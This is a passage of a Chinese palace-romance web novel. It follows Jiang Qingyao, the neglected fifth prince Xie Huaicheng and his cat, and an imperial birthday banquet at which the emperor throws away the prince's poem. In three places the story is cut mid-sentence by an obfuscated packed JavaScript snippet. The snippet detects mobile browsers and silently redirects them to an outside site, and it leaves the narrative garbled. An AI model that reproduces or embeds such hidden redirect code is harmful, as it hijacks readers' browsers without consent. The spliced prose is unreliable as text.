谢怀琤收回目光,看向六皇子,淡声道:“这是我养的猫。” 他看向谢如婉,唇角带了抹笑,声音却带着十足的寒意:“三妹妹想打死它,怕是不能够了。” 谢如婉面色僵硬了一瞬,很快露出笑容道:“原来这是五皇兄养的猫,我竟没看出来。我见惯了宫中人养的猫,从未见过这般毛色的,一时间惊讶,让五皇兄见笑了。” 这话里话外透着的轻视鄙薄显而易见,谢怀琤并无半分想与她争辩的意思,只是举步走向了廊下。 六皇子在身后喊道:“你的猫如此无礼,冲撞我与皇姐,难道你不该替它向我们赔礼吗?” 谢怀琤冷淡道:“它生性活泼却不会主动惹事,除非有人主动招惹欺侮,恃强凌弱,才会被它冲撞。” 他看向六皇子,平静道:“六弟素来知礼,想必不会做出如此事情。待我带回它,自会好好管教。” “你!”六皇子一时间说不出话来。 廊下,谢长宁开口道:“五弟,许久不曾见你了。不知你如今怎样?” 谢怀琤对这位长姐的态度倒也平和,道:“多谢皇姐关怀,我一切安好。”说着,他停在了姜清窈面前,向着她伸出了手。 那只猫儿倚在姜清窈怀里,舒服地眯着眼睛。姜清窈抬手想要把它交还给谢怀琤,它却没有半分想要离开的意思。 谢怀琤蹙眉,揉了揉猫的脑袋,低声唤道:“乌云。”比起他平日不带情绪的声音,这声呼唤多了几分鲜活的情绪,引得姜清窈忍不住抬头看了他一眼。 名唤乌云的猫懒洋洋地睁开眼,似乎有些不情不愿,但碍于谢怀琤的目光,还是慢吞吞支起身子,轻盈一跃,跳进了他的臂弯里。 谢怀琤抱紧乌云,徐徐转身步下石阶,对上六皇子不服气的眼神。他唇角轻扯,那双眼睛缓缓扫过六皇子,分明一语未发,却令六皇子想起那日演武场的一幕幕,顿时偃旗息鼓,恨恨地转开了目光。 少年沉默的背影消失在宫门处,谢长宁收回目光,轻叹道:“幸好还有这只猫陪着他。” 谢瑶音走了过来,看了眼谢如婉道:“没想到一向温婉柔和的三妹妹能说出那番话,真是让我长了见识。” 谢如婉气恼不已,却又无言以对。她狠狠地瞪了眼姜清窈和谢瑶音,向着谢长宁道:“皇姐,我还有些事,就先告辞了。”说完,她很快转身离开,顺带着把六皇子也带走了。 “窈窈,回去换身衣裳吧。”谢长宁看着姜清窈,柔声道。 姜清窈低头,这才发觉胸前的衣襟上沾染了不少猫毛和污渍。她笑了笑,道:“好。” 离开广阳宫,两人再度经过了长信宫外。谢瑶音看着那匾额,道:“窈窈,那日我们从演武场回宫的路上,遇到的便是五皇兄的猫吧?” 姜清窈点头:“是。它叫‘乌云’。” “这名字与它的模样倒是很相符,”谢瑶音道,“方才长姐说,幸好五皇兄身边还有这只猫,否则真不知他该如何捱过这漫漫日夜。” “这些年,五皇兄失去的太多了。”她道。 姜清窈想起少年苍白的面色和冷漠的眉眼,幽幽叹气道:“希望乌云能够让五殿下好好活下去。” 两人一路沉默,回到了永安宫。 * 长信宫。 幽暗的烛火被窗外透进的冷风吹得剧烈晃动,殿内虽烧着炭火,却并无多少暖意。 福满端着茶盏,小心翼翼踏进殿内,却发觉殿下坐在书案旁出神,连窗子被风吹开都浑然不觉。他脚边,乌云蜷缩在炭盆旁睡得正香。 他放下茶盏,先去关紧了窗,这才轻声道:“殿下,用些热茶吧。” 谢怀琤正垂首翻着书,闻言略微抬眼,示意他将茶盏放下。 福满俯身将炭盆推开了些,担心会燎到乌云的毛发。他动作小心翼翼,轻轻地挪开,没惊动熟睡中的乌云。这都是素日常做的事,然而今日,福满却没急着离开,而是欲言又止。 他立在原地,身影挡住了谢怀琤面前的烛火,引得后者蹙眉抬头,道:“何事?” “殿下,奴婢先前在韶园遇到姜姑娘时,她身边的微云说起姑娘是不小心被一块石头绊倒,才会受伤。那时奴婢心存疑虑,韶园每日都有宫人清理,怎会混进去那种顽石?” 谢怀琤目视着他,未发一言。 福满忖度着他的神情,便接着道:“今日奴婢忽然想起,那日似乎在韶园外看见了六殿下在四处投掷石子。如此看来,兴许姑娘的受伤......与他有关。” 话音落下,殿内一片沉寂。福满等了许久,却见谢怀琤面色无波,平静地低下头,继续看起了书,对方才的话恍若未觉。 福满暗叹一声,不再多言,静静退了下去。 内殿重归寂静。许久,谢怀琤缓缓抬眸,盯住那晃动的烛火。他的手指渐渐收紧,在发黄的书页边缘留下一道深深的褶皱。 * 这些时日,姜清窈最期盼的便是父兄回京的讯息,几乎日日夜夜祷告,希望他们路上一切平安顺遂。 终于,姜氏两位将军将于明日到达京城的消息传入了宫中。皇帝得知消息,特意在宫中设下宴席,为两人接风。同时下旨令姜夫人入宫,一家团聚。 宴席设在皇帝素日起居的勤政殿东间,姜清窈随皇后到时,姜夫人秦瑜容已经到了。 见到母亲,姜清窈难免有些眼底酸涩,依偎着母亲不肯离开。秦瑜容抚着女儿的肩膀,笑道:“窈窈,怎么还这么爱撒娇?” 姜清窈抿唇,只闷闷道:“我想母亲了。” 正说话时,外间宫人通传声响起,皇帝率先迈步进来,身后跟着的正是姜氏父子。 当先那人,身形高大,颌下蓄须,面目英武,正是姜清窈的父亲,姜元昀。他身后的青年眉眼俊朗,英气逼人,便是姜家长子姜湛。 陡然见到父兄,姜清窈眼眶泛红,强忍着心头翻涌的情绪,规规矩矩屈膝请安。 皇帝道:“今日不必拘礼,只当是家常一聚,便随意些吧。”话虽如此,但姜家众人还是按着礼数各自问安后,才依次落座。 “多年来,北境多亏了你们驻守,朕才能安心,”皇帝举起酒盏,笑语晏晏,“朕也知道你们在外多年,心中必然记挂着京中故土与亲人,此次既然回京,想来也能够遂愿了,便安心留下吧。” 姜清窈心中一动。听皇帝的意思,父亲和兄长似乎可以长留京中。她按捺住心底的喜悦,悄悄抬眼看向父亲,果见他肃容起身拜倒道:“无论是在京中还是驻守北境,臣与犬子都谨遵陛下旨意,断不会擅自行动。” 皇帝含笑道:“不必多礼,快坐吧。”说着,宫人开始依次上前布菜,姜家父子恪守礼仪,不住地起身谢恩。 待午膳撤下,皇帝向皇后道:“瑾宁,子昭既然进宫了,你便陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13579704|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他在这宫中逛一逛吧。” 子昭便是姜元昀的表字。他闻言,附身谢恩道:“臣谢陛下恩典。” 他又看向姜清窈,道:“你父兄如今回来了,你们一家人也许久不曾团聚,这些日子你不必待在宫中了,回府住些时日,待万寿后再入宫念书吧。” 这道旨意令姜家众人都喜出望外,只是面上依然平静,按着规矩谢了恩。姜清窈想到皇帝如此体念,心中很是感激。 天子起驾后,皇后方舒了口气,笑道:“兄长,瑜容,随我来吧。” 姜清窈放慢步子,和兄长并肩而行,低声问道:“哥哥,你们此次回京能待多久?” 姜湛目视前方,亦低声道:“我也不知。陛下只令我们回来,却并未明旨说何时回北境。” 他偏头看了眼妹妹,抬手揉了揉她的头发,叹道:“许久未见,窈窈愈发长大了。” 姜清窈鼻头发酸,道:“哥哥也有了风霜之色,想来是北境的风雪太过凛冽。” 姜湛故意皱起眉道:“你也太小看哥哥了。放心吧,为兄只要在京城将养几日,依旧丰神俊朗。” 即使经受了北地多年的磋磨,他依旧是这般神采飞扬。姜清窈抿嘴一笑,像小时候那样轻轻攀住哥哥的衣袖摇了摇,轻轻道:“真希望父亲和哥哥可以长留家中。” 姜湛暗叹一声,没有回答。 几人回了永安宫,却在宫门外遇到了太子谢怀衍。 皇后颇觉意外:“衍儿,这个时辰你怎么来了?” “母后,”谢怀衍拱手见礼,又扶住正欲请安的姜元昀,笑道:“听闻今日舅父入宫,我身为晚辈,自然要来拜见。”他向着姜元昀恭谨一揖,道:“舅父多年辛苦,不知身体可还康健?” 姜元昀忙回礼道:“臣惶恐,如何受得起殿下如此大礼。” 谢怀衍搀起他,道:“如今不是在朝堂之上,我便是晚辈,向舅父见礼也是应当的。”说话间,几人步入了殿内,宫女奉上了茶水。 “常听父皇说起北境虽苦寒,但也风光不俗,我身在京城之中,颇为向往。”谢怀衍问候了姜氏父子几句后,便闲谈了起来。他言谈不俗,语气温润,悄然将姜氏父子的拘礼淡淡化解了。 谢怀衍与姜湛本就是少年玩伴,只不过多年未见,彼此都有些生疏。如今他轻言慢语,偶尔说笑几句,恍然间便让姜湛觉得似乎回到了天真无邪的年少时候。 说话间隙,谢怀衍招手令内侍上前,低声吩咐了几句。不多时,内侍便端上了几样点心。姜湛定睛一看,一时间有些怔愣。 “我记得你和表妹从前都爱吃京城萃蓉坊的点心,便命人出宫买了些,”谢怀衍含笑道,“特别是明然,离开京城这么久,一定很是想念这般味道吧。” 姜清窈看了眼兄长,她知道姜湛看似豪爽到粗枝大叶,实则极重感情,果然见他慨叹道:“殿下竟一直记得。” 她心中微微一动,没想到谢怀衍还记得这些细枝末节。毕竟,她从前与谢怀衍并没有多么深厚的表兄妹情。他虽然唤她一声表妹,但他们事实上却…… 姜清窈撇开思绪,垂眸看着眼前的糕点。 萃蓉坊的点心远近闻名,京中不少世家贵族都偏爱去那里。姜湛拈起一块糕点缓缓咀嚼着,许久才道:“还是我记忆中的味道。” 他面上浮起怀念:“从前十几岁的时候,我常常和窈窈一道溜出府门去买那儿的点心。萃蓉坊在西北,姜府在东南,相隔并不算近,但我们丝毫不在意那距离。” 姜清窈想起幼时的事情,禁不住轻轻笑了笑。 一旁的谢怀衍本自笑着听着他说话,神色却在听见那两个字时有一瞬间的凝滞,眼底翻涌起复杂的情绪。 许久,他慢慢地勾起了唇角,露出一抹意味深长的笑意。 21. 万寿 谢怀衍又坐了片刻,便起身告辞回了东宫。他身为太子,每日都须按时读书,处理事务,从不耽搁。姜清窈目送着他离开的背影,眉头微微蹙起。 她方才看得清楚,谢怀衍临走时曾不经意地看了自己一眼,分明还是平日那般温和,只是她却莫名觉得那目光深处似乎还藏了些看不透的意味。 “窈窈,发什么呆呢?”皇后唤了她一声。 姜清窈掩下心底的异样,笑了笑道:“姑母,我只是尝着这点心,想起来了小时候的事情,一时有些出神。” 皇后微微一笑:“定是欢喜得很了。” 她又道:“依制,你们须得在日落前出宫。可惜今日匆匆一面,只能等到来日万寿再相见了。”话音至此,皇后的语气带上了难以言说的伤感。 秦瑜容挽住她的手臂,宽慰道:“日子还长,何愁没有相见之日?瑾宁,你多保重。” 皇后看向她,又看向姜元昀,目光中尽是不舍。然而她却并未多言,只是沉默地点点头,转头吩咐宫人送几人出宫。 马车停在宫门之外,姜家诸人便沿着宫道一路往外走。四人的身影逐渐消失在尽头,宫墙下,一双墨色的眼睛望着那背影,唇角抿成一条线。 “殿下,”福满察言观色,低声道,“姜姑娘许是暂回府住些时日,并非从此离宫。” 谢怀琤收回目光,没有作声,转身便朝着长信宫的方向走去。 * 回到府上,姜清窈陪着父亲说了许久的话,才依依不舍地回了自己的院子。她知道,父亲和母亲分别这么久,定有许多肺腑之言要说。 姜元昀与秦瑜容是青梅竹马,自小便感情深厚,成婚后更是情意甚笃,然而却被迫分开了这么多年。姜清窈知道母亲心思细腻,不知因思念夫君和儿子流了多少眼泪。方才她看得清楚,父亲看向母亲的眼神里满是心疼。 她在窗边坐下,望着明朗的天色,心情松快了不少。诚如姜元昀所言,此次皇帝没有发话,便意味着他们父子可以多待些时日。想来数日后的新春,他们一家人可以团团圆圆地一道守岁了。 想到这里,姜清窈忍不住浮起一抹笑意。她低头看向书案,发觉自己上次进宫前看了一半的书还摊开着,停留在那一页不曾翻动。书角被人细心地用镇纸压住,她心头一动,抬头看向正端着茶盏进来的婢女,柔声道:“淡月,这些日子我不在府上,多亏有你。” 淡月和微云是她身边最贴心最得力的两个侍女,微云心思活泛,能言善道一些,淡月性子安静内敛,但做事稳重。因此她离宫这些时日,自己院子的诸多事宜都交给了淡月打理。 “姑娘言重了,这本就是奴婢的分内之事。”淡月道。 说着,她又从怀中取出一根莲花状的五色宫绦,道:“上回姑娘嘱咐我重新打几根绦带。这些日子我仔细择了颜色相近的丝线,重新缀了珠串和流苏。姑娘瞧瞧如何?” 时人常在腰间佩上宫绦,姜清窈也不例外。入宫前,她裙上的宫绦大约是因为丝线有些褪色破损,因而自中间断裂开来。 这宫绦样式精巧,姜清窈很是喜欢,因此吩咐了淡月,让她瞧瞧能否复原。 淡月手巧,比着原先的颜色,复又捋好了线,按着原先的花样仔细打了结,颇费了些时候才让这宫绦恢复如初,几乎看不出缝补的痕迹。 一旁的微云探头看了看,问道:“姑娘,这宫绦不知是何人所做?” 姜清窈将宫绦重新系好,抚顺流苏,摇头道:“我记得,这是我十二岁生辰时收到的一样礼物。那时我年纪小,不甚记事,只知道母亲交与我时,说是一位长辈亲手做的。我便不曾多问。” 淡月和微云对视了一样,面上俱是疑惑之色:“姑娘但凡过生辰,收到的礼物皆是附着单子写上名姓的,怎会有这么一样不知来历的东西?” 况且,这宫绦虽精致,却到底不算什么贵重之物,与姜清窈素来收到的其他生辰礼相较,实在显得寒酸。 “礼不在贵重,既然母亲转交给了我,我自然会好生收着。或许母亲自有她的深意吧,”姜清窈不欲多想,转头看向窗外,眉眼漾起莹亮的光,“今日的天光甚好,我去院子里坐坐。” 如今在家中的每一刻,她都格外珍惜。 * 这样轻松惬意的日子过了半月有余,转眼便到了皇帝的生辰——万寿之日。这一日晨起,姜氏父子便循例入宫朝拜去了。而女眷则是傍晚时分入宫赴宴,再遥遥向皇帝贺寿。 夕阳尚未完全隐没进暗色的天幕时,姜清窈扶着母亲登上了进宫的马车。待辘辘车声响起,她抬手拂开车帘,看着京都大街川流不息的人潮,耳边听着此起彼伏的喧闹叫卖之声。 然而不多时,这样的烟火气息便消失殆尽。待进了皇城,那庄重肃穆的气息席卷上心头,姜清窈敛去神色,随母亲规规矩矩迈步下了马车,前去赴朝臣及家眷的贺寿宴会。 而贺寿宴后,另有万寿家宴。按照规矩,摆在正华殿的家宴一向是无外臣的,除后妃外,便是诸位皇子公主。而今年皇帝为示恩宠,破例令姜家女眷亦可赴宴。只是今年的万寿宴,皇太后却尚未回京,对皇帝来说,难免有些遗憾了。 姜清窈在母亲身后敛裙跪坐,双手平放在膝头,视线悄悄扫视着四周。皇帝独坐上首,皇后与贵妃分坐在下首两侧,一个端庄雍容,一个娇艳妩媚。显然,如今宫中最尊贵的两个女人便是这二人。皇后家世显赫,贤良淑德,地位稳固;而贵妃亦身受盛宠,虽越不过皇后,但也在后宫中占据了独特的地位。 太子等晚辈便分坐在下首。诸皇子原本是按着年龄序齿依次落座的,然而姜清窈目光望向最末那人,却发现他孤零零地坐在最外,六皇子反倒越过了他,坐在了前面。 长幼有序原是最严格的规矩,尤其是在皇家。然而此事落在谢怀琤身上却总会例外。六皇子是贵妃爱子,他执意要坐在兄长前,倘若皇帝不发话,又有谁敢劝阻呢? 姜清窈看向上首的皇帝,发觉他正执着酒盏,含笑望着殿内的歌舞表演,神色悠然自得,显然不会在意这些座次之事。她无声地叹了口气,垂首默默举起面前的杯盏,浅抿了口酒。 鼓乐之声渐淡,倏然换了缠绵悠然的丝竹之声,将宴席上的微醺酒意陡然冲淡了些许。笛声婉转,琵琶柔美,笙箫相和,曲调细腻又清雅宜人,与宫廷乐曲的浩大庄重迥然不同。姜清窈轻轻阖眼,眼前仿佛出现了江南烟雨的绰约之景,只觉得心旷神怡,心中暗暗称赞这江南丝竹之声果然动听。 只是......她忽然想起什么,下意识看向了谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13582735|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀琤,却见他低垂着头,对这满殿的音乐之声恍若未闻。 姜清窈再悄悄抬眼看向皇帝,发觉方才还含笑的皇帝面色变得怔忡起来,却并不似恼怒。那双总是透出锋锐精光的眼睛缓缓收拢,褪去了些锋芒,目光变得悠远,似乎在透过重重宫阙望向远方。他原本执着酒盏的手僵悬在了半空,不多时手指霍然一松,酒盏跌落案上。 她慢慢收回目光,心知皇帝为何会有如何反应。 万寿之日所演的种种歌舞,皆是皇宫中的歌舞司选派,禀了皇后允准后,方才能在今日上演。往年的歌舞总没什么变化,因此今年,皇后着意吩咐歌舞司的人准备些新鲜曲目,同时也允了后宫妃嫔们各出些主意。而这支江南,便是怡嫔禀了皇后后定下的。 大殿之上,皇后听了这江南之声,面上掠过片刻的怅然,随即克制住心头的情绪,恢复了惯常的平淡模样。另一边的贵妃不动声色望着皇帝的反应,看到那只落下的酒盏,描画得精致的眉眼骤然一缩,嫣红的唇瓣抿紧,唇角的笑意消失得无影无踪,转而冷眼看向下首坐着的妃嫔。 “陛下,这丝竹之声如此应景,不如让臣妾们借此良机,向陛下献上万寿贺礼如何?”贵妃娇柔的嗓音响起,原本正出神的皇帝眼底漫上清明,略怔了怔,这才缓缓向后靠向御座,开口道:“如此也好。” 贵妃纤手轻挥,那演奏的宫人们便止住了动作,徐徐退到了一边。自皇后起,众人依次上前献上寿礼,又说了一箩筐的吉祥话,只引得皇帝龙颜大悦。 皇后微笑着道:“想来寿礼都尽数献上了,不知陛下最喜哪一样?” 皇帝道:“你们所备之礼皆很合朕的心意。”他转头看向皇后,目光柔和:“筹备万寿宴,皇后辛苦了。你这些日子原本就有恙在身,却依然事事亲力亲为。” 皇后起身,浅淡一笑:“陛下与臣妾之间,何须说这般客套的话。” 帝后二人对视间,有脉脉温情。贵妃正欲出声也凑趣讨个巧,下首的六皇子忽然出声道:“父皇,还有五皇兄尚未献礼。” 贵妃面色一变,本欲呵斥,却碍于自己身在皇帝身边不好疾言厉色,只能暗中瞪了他几眼,余光瞥着皇帝,生怕触怒了他。 殿下有一瞬间的静默。六皇子方才多饮了几口酒,一转头看谢怀琤一副云淡风轻的模样,心中实在看不惯他,一时冲动便开了口,这会子也有些后悔。宫中人人都知,即便是在此等喜庆的场合提到谢怀琤,皇帝也会顷刻间冷了脸,甚至勃然大怒。 此话一出,众人不由自主看向了那个坐在角落里的少年。他闻言,略顿了顿,缓缓起身,自桌案后步出,一步步走向了大殿中央,俯身跪拜,同时双手托着一物举过头顶,声音低哑:“儿臣恭贺父皇万寿之喜。” 他清冷的声音与这大殿内的喜庆格格不入。皇帝垂眸看着他,目光难辨喜怒。 姜清窈屏住呼吸,几乎已经预料到皇帝会是何种反应,左不过是几句厌恶的呵斥,抑或是冷漠的斥退,年年皆是如此,从无例外。她掩去眼底的悯色,低垂眉眼,不忍去看。 皇帝半晌不曾出声。贵妃察言观色,见他似乎并没有动怒的迹象,便柔声笑道:“陛下若是疲累了,不如......”话音未落,却听皇帝淡淡吩咐内监总管道:“呈上来。” 22. 寒夜 众人皆是一愣,没想到皇帝今日会如此心平气和,没有直接斥退五皇子,甚至愿意去看他准备的寿礼。 不过转念一想,以五皇子如今的身份地位,又能备出什么贵重精巧的礼呢? 侍奉御前的内监总管高平闻声立刻步下高台,快步行到谢怀琤面前,恭敬俯身,双手接过寿礼,再呈给皇帝。 不同于旁人所备寿礼的富丽,谢怀琤的礼显得格外单薄,不过是一只半新不旧的纸卷,当中系了根褪了色的红绳。 透过那单薄的纸张,隐约可以看见墨痕。想来是他身无旁物,只能勉强写一幅字献上。这样的一幅字,对于天子而言,实在是太过寒酸和不妥。 六皇子面上显出鄙薄之色,碍于皇帝尚未开口,亦不敢造次。太子面色平淡,只静静瞧着。 皇帝抬手解开红绳,缓缓展开卷轴,发觉这是一幅谢怀琤亲笔写就的贺寿诗。除此之外,再无他物。他凝眸看下来,神色波澜不惊,似乎对这上头的内容并无任何感觉。然而贵妃离得近,却清晰地看出他眼底的怀念之色,仿若坚冰悄然融化了一角,竟还显出了几分身为人父的慈爱,不由得面上一冷。 御座之上许久不曾有动静。众人深知谢怀琤尴尬的身份,也无人敢轻易出声。 谢怀琤沉默地跪着,微微前倾着身子,目光落在面前那华贵的地毯上。他面色淡漠,仿佛对皇帝的任何反应都能坦然接受。 “起来吧。” 不知过了多久,皇帝终于开口,声音淡淡,不带任何情绪,却足以让众人讶异不已了。多年来大大小小的宫宴上,若是谢怀琤被准许出现,皇帝对他要么是视而不见,要么是满脸厌烦,从未像今天这般心平气和。 姜清窈心底亦是惊讶,暗自思忖不知何事让皇帝忽然换了态度。她回想着方才那江南丝竹之音,难道竟是因为那柔婉的曲调勾起了皇帝心中的旧忆,令他忽而念及昔日旧情,才会对这个冷落已久的儿子生起了一丝怜悯? 她心中思绪起伏,抬眼见谢怀琤已经起身,一言不发地立在原地,脊背挺直,却并未直视天颜,因而也没有看见皇帝望向他那复杂的眼神。 皇帝素来是威严的,眉骨高耸,眼神肃然,不笑时,那双眼睛会透着凛冽的寒光,唇角向下捺着,随意一眼便能让人如坠冰窖。然而此刻,他那双锐利的眼睛却意外地没有浓重的厌恶,反倒是一种带着怔忡的漠然。这般眼神原不该出现在帝王身上,可姜清窈看得明白,那分明是一种怀念。他就那样扫视着眼前的这个儿子,似乎已经许久不曾这样仔仔细细看过。 许久,皇帝低低咳嗽了一声,嗓音微微沙哑:“坐吧。” 此话一出,满座皆惊。 这句话纵然只是一句寻常的话,但却已经许久不曾出现在此种场合。御座之下的众人虽沉默着,但面上俱是惊愕。要知道,皇帝对谢怀琤这般平静实属难得,如今竟还这般温和地赐座,实在让人摸不着头脑。 如此情状,不禁让人猜测:莫非谢怀琤做了什么事,才会让皇帝转怒为喜,重新对他关怀起来? 姜清窈心头微微一跳。倘若圣心转圜,那么谢怀琤往后应当能够好过一些吧?他从前那般备受欺凌的事情,大约就不会发生了。 这个念头刚在心上闪过,耳边便听见贵妃的声音:“陛下,宫中还排了几出戏尚未演,不知陛下还看不看?” 皇帝回神,随意地点点头:“既然早些时日就排好了,便演吧。” 贵妃招来宫人,吩咐了几句,那人很快退下,不多时便领着妆扮后的伶官款款上场,轻声曼语唱了起来,谢怀琤便顺势退了下去。 几出戏正喜庆洋洋地唱着,皇帝却面有疲态,想来是热闹了一整日,有些倦怠了。因而,他只阖了眼,慢慢抿着茶水,懒懒地听着那婉转唱腔。 姜清窈咀嚼着点心,专注地看着那些伶人挥袖踏步。她饮了口茶,略略缓了缓,正欲再拈起一块糕点时,偶一侧头,却见上首的皇帝忽然冷了脸色,全然不复方才的温和。 此时伶人已演完了一出传统的贺寿戏,换了一出轻松惬意的戏,正唱着几句词: “烟雨袅袅落小亭,恰柳边人初立。” “却逢那双飞燕,看那人羞掩了芙蓉面。” 曲调轻快,韵味悠长,这本是一折许多皇家贵族之人爱看的戏,然而皇帝的面色却随着伶人的唱腔而愈发阴森,仿佛山雨欲来。 待这一曲唱罢,伶人们尽数退下。皇后率先起身,按着旧制,领着所有人一齐拜倒,齐声恭贺皇帝万寿之喜。 在山呼般的祝寿声中,皇帝面上却毫无喜色。他阴沉着面色,慢慢看向了站在最末的那道身影。少年随众人一道开口祝寿,那墨色的眉和黑白分明的眼睛向下弯出一道弧度,像极了记忆中的那个人。 烟雨袅袅,小亭初见......他眼前恍然出现了一张芙蓉面,柳眉微弯,杏眼如水,顾盼间笑意盈盈,含羞带怯,令彼时的他心旌摇曳。 然而眼前画面忽转,他再度看去,那张芙蓉面已经没了笑意,眉蹙春山,盈盈粉泪,只抿唇看着他,一言不发,带着倔强。原来,这么多年里,她的目光从未落在他身上,而是看向那朦胧烟雨的江南小镇。 他贵为天子,却也无法强逼她看向自己。 惊涛骇浪般的怒意与不甘涌上心头,皇帝闭了闭眼,攥紧了手边的酒盏。 众人贺罢寿,一齐起身。按照往年,此时皇帝便会喜上眉梢,接着说几句话,再赏赐下各种物件。然而此刻,皇帝却久久没有出声。 姜清窈低眸盯着自己裙裾上的花纹,那丝线绣成的纹路在殿内明晃晃的灯火映照下,看久了有些眼前发晕。她阖了阖眼,轻轻呼出一口气,只觉得今晚似乎有些醺醺然。 略微迷蒙的神思被一声清脆的响声惊醒。众人俱是一惊,抬头看向上首,却见是皇帝手腕一翻,将一只酒盏掷在了地上。那酒盏顷刻间摔得粉碎,溅了一地的碎瓷片,只震得众人勃然变色,纷纷跪倒。 在一叠声的“陛下息怒”之中,皇帝抬手指向了那个人,面色如寒霜。 “你,”他冷冷开口,“出去。” “朕不想看见你。” 连同这番话一同落地的,是方才谢怀琤献上的寿礼。那卷写着他字迹的纸被随意丢弃,纸张边缘大约是被人用力攥住,已然出现了撕扯开来的痕迹。姜清窈没法回头去看谢怀琤的模样,只能低垂着头拜倒在原地,耳边听见少年沉闷的一声“儿臣遵旨”,随即是衣角拂动的簌簌声,他上前捡起那残损的纸张,重新用红绳系好,这才缓慢地转身离开,没有片刻停留。 他经过身畔时,姜清窈忍不住侧眸看去,却只看见了他握住纸卷用力到泛白的手指,以及藏在衣袖下裹着纱布的手腕。她恍然记起,前几日在萤雪殿,似乎听人提起过,五皇子这些日子似乎执笔太过,牵动了腕上旧伤,以至于连翻动书页都有些吃力。 她知道,以谢怀琤的困窘,这幅字已经是他能拿出的最好寿礼。还记得从前,夫子曾夸赞过五皇子擅诗文。他自幼便能出口成章,常写诗作赋献给皇帝。那时的皇帝会万分珍爱心爱的儿子所写的一切字迹,而今日却将之弃若敝履。 这般急转直下的局面让姜清窈一时间愣怔。她不明白,不过片刻之间,为何皇帝的态度会有如此巨大的改变。她仔细回想着方才的一切,却依然理不出头绪。 眼看着谢怀琤已经退下,皇帝却犹自恼怒不已,放在御案上的手紧握成拳。一旁的贵妃柔声劝慰着,才逐渐让他平静下来。 姜清窈怔怔立在原地,觉得方才好似一场梦。皇帝对谢怀琤的悯意如天边的流云转瞬即逝,仿佛从未出现过。姜清窈在心底低低地叹了一声,今日亲眼所见,她终于意识到谢怀琤的处境几乎不可能改变了。 此刻,皇帝的神情依然有些难看。他盯着脚边那一堆碎片,愈发恼怒。万寿这样大喜的日子,他却如此大动肝火,还摔了酒盏,怎么想都让人觉得心头不快,不似好的兆头。 贵妃在此时恰当开口,语带笑意:“碎碎平安,岁岁平安,陛下往后定会龙体康健,福泽万年的。”随着她的话,众人也跟着附和起来。 皇帝转怒为喜:“还是爱妃的话最合朕心意。”宫人很快上前,将满地狼藉收拾干净,又奉上了新的酒盏。皇后便率先敬了他一杯酒,这才将此事慢慢揭了过去。 隔着重重人海,皇帝的面色渐渐趋于平静。他身畔,一身华服的贵妃悄然低了头,抿去唇角那一抹意料之中的笑意。 * 宫宴间隙,姜清窈觉得有些头晕,便悄悄和母亲道了声出去醒酒,这才起身离开了大殿。片刻后,太子谢怀衍亦不动声色起身,状似无意地沿着殿下回廊走了出去。其时殿内正在上演一出新的歌舞,而下首众人不时有外出散酒气者。皇帝正看得出神,自然不会注意到这些细枝末节。 正华殿后有一处亭子和一小片密密的竹林并小花园。此时晚风带着寒意,激得姜清窈身子一颤,忙裹紧了衣裳。 微云跟在她身畔,小声道:“姑娘当心着凉,还是莫要久待了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13592724|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “放心,我不过是出来透透气罢了。”姜清窈呵了呵双手,踩着园子里的石砖一步步走向那亭子。忽然,她觉得脚底似乎踩到了什么东西,发出轻微的摩擦声,不由得好奇低头。 她缓缓移开脚,却发现是一张被揉搓成团的纸,边上还有一根褪了色的红绳,正被这风吹得险些飘远。姜清窈一愣,下意识弯腰捡起。 她将皱巴巴的纸团展开抚平,一目十行地看下来。那熟悉的字迹让她意识到,这正是被皇帝随手扔下的那首贺寿诗,出自谢怀琤之手。 他的字,她一向认得。姜清窈记得,从前谢怀琤的字多飘逸潇洒,而如今却多了些沉郁苍凉,想来是数年的宫廷生活已将少年意气消磨殆尽。 她轻轻叹了口气,看向那末尾的“留待年年献寿看”,笔划收尾处似乎留有余地,他在写下这首诗时,是不是还抱着些许的期盼,今日父皇会看在万寿的份上,不再像平日那般对他? 方才皇帝听了那江南曲调,也是动容了的。毕竟,昔日的秋妃便是江南人士,一颦一笑、一举一动都带着那韵味。皇帝曾对她那般痴情,今日那神色,分明是还念了些旧情,甚至还和颜悦色允了谢怀琤上前献礼。要知道往年,他根本不会多加理睬。 可后来那出戏曲,究竟是什么唱词触了皇帝的逆鳞,才会让他陡然变色发怒?姜清窈不知其中内情,也不知为何皇帝会对秋妃那般绝情。她看着那纸张,许久才动作轻柔地卷了起来,重新用红绳系好。 她知道,谢怀琤一向爱惜自己的笔墨,但凡是他写过的字和文章,他都会珍重收好。而今日,他大概也是一时神伤,才会将这纸张泄愤似的揉成团丢在这里吧。 